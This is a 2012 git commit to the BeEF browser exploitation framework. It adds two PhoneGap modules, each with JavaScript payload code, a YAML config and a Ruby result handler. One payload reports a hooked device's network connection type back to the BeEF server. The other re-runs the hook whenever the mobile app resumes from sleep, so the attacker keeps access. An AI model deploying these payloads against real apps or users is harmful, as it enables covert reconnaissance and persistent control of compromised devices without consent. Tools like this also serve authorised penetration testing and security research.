added new phonegap modules, to check connection type (wifi/3g) and ensure beef hook survives suspend resume of app.

This commit is contained in:
Mike Haworth
2012-08-22 20:51:49 +12:00
parent ad2bc95cf0
commit 5a9a050c1c
6 changed files with 175 additions and 0 deletions

View File

@@ -0,0 +1,37 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
beef.execute(function() {
var connection_type;
getConnectionType = function() {
var states = {};
states[Connection.UNKNOWN] = 'Unknown connection';
states[Connection.ETHERNET] = 'Ethernet connection';
states[Connection.WIFI] = 'WiFi connection';
states[Connection.CELL_2G] = 'Cell 2G connection';
states[Connection.CELL_3G] = 'Cell 3G connection';
states[Connection.CELL_4G] = 'Cell 4G connection';
states[Connection.NONE] = 'No network connection';
return states[navigator.network.connection.type];
}
try {
connection_type = getConnectionType();
} catch(e) {
connection_type = "Unable to determine connection type."
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "connection_type="+connection_type);
});

View File

@@ -0,0 +1,27 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# phonegap
#
beef:
module:
phonegap_check_connection:
enable: true
category: "Phonegap"
name: "Check connection"
description: "Find out connection type e.g. Wifi, 3G.."
authors: ["mh"]
target:
working: ["All"]

View File

@@ -0,0 +1,27 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# phonegap
#
class Phonegap_check_connection < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end

View File

@@ -0,0 +1,31 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// persist on over app's sleep/wake events
beef.execute(function() {
var result;
try {
document.addEventListener("resume", beef_init(), false);
result = 'success';
} catch (e) {
for(var n in e) {
result+= n + " " + e[n] + "\n";
}
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
});

View File

@@ -0,0 +1,27 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# persist on over app's sleep/wake events
beef:
module:
phonegap_persist_resume:
enable: true
category: "Phonegap"
name: "Persist resume"
description: "Persist over applications sleep/wake events"
authors: ["mh"]
target:
working: ["All"]

View File

@@ -0,0 +1,26 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# persist on over app's sleep/wake events
class Phonegap_persist_resume < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end